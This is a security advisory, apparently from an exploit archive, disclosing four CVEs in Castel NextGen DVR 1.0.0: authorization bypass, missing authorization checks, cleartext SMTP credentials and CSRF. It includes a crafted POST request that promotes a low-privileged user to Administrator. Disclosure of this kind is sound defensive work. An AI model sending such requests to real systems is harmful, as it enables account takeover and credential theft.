Castel NextGen DVR 1.0.0 Bypass / CSRF / Disclosure

Authored by Aaron Bishop

Posted Jun 5, 2020

Castel NextGen DVR version 1.0.0 suffers from authorization bypass, credential disclosure, and cross site request forgery vulnerabilities.

tags | exploit, vulnerability, bypass, info disclosure, csrf
advisories | CVE-2020-11679, CVE-2020-11680, CVE-2020-11681, CVE-2020-11682
SHA-256 | 479f4579b4b9aa4978606f0a9f84e9bbac7947654e1a57a9e42f9f18e0988c1b

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
All issues are associated with *Castel NextGen DVR v1.0.0 *and have been
resolved in v1.0.1*.*

-------------------------------
*CVE-2020-11679
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*


*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
A low privileged user can call functionality reserved for an Administrator
which promotes a low privileged account to the Administrator role:

POST /Administration/Users/Edit/:ID HTTP/1.1
> Host: $RHOST
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
> Firefox/52.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Cookie: $REVIEWER_COOKIES
> DNT: 1
> Connection: close
> Upgrade-Insecure-Requests: 1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 349


> UserId=:ID&Email=bypass%40test.com
> &FirstName=bypass&LastName=bypass&LDAPUser=false
>
> &Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false
>
> &Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false
>
> &Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false
> &Locked=false

-------------------------------
*CVE-2020-11680
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11680>*

*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
The application does not perform an authorization check before
functionality is performed.  Low privileged users are prevented from
browsing to pages that perform Administrator functionality using GET,
however, functionality can be performed by directly crafting the associated
POST request.   This can be exploited to modify user accounts, modify the
application, etc.  Combined with the reported CSRF, CVE-2020-11682, any
user of the application can be used to grant Administrator access to a
malicious user.
-------------------------------
*CVE-2020-11681
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11681>*

*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass

*Description*
Credentials are returned in cleartext in the source of the SMTP page.  If a
malicious user compromises an account. or exploits the CSRF to gain access
to the application,  the associated SMTP server/account could also be
compromised.
-------------------------------
*CVE-2020-11682
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11682>*

*Original Disclosure*
https://www.securitymetrics.com/blog/where-did-request-come-from-cross-site-request-forgery-csrf

*Description*
The application does not properly prevent CSRF; the
__RequestVerificationToken, which is included with state changing requests,
is not verified by the application - requests are successful even when the
token is removed.

AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE [image:
SecurityMetrics]
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed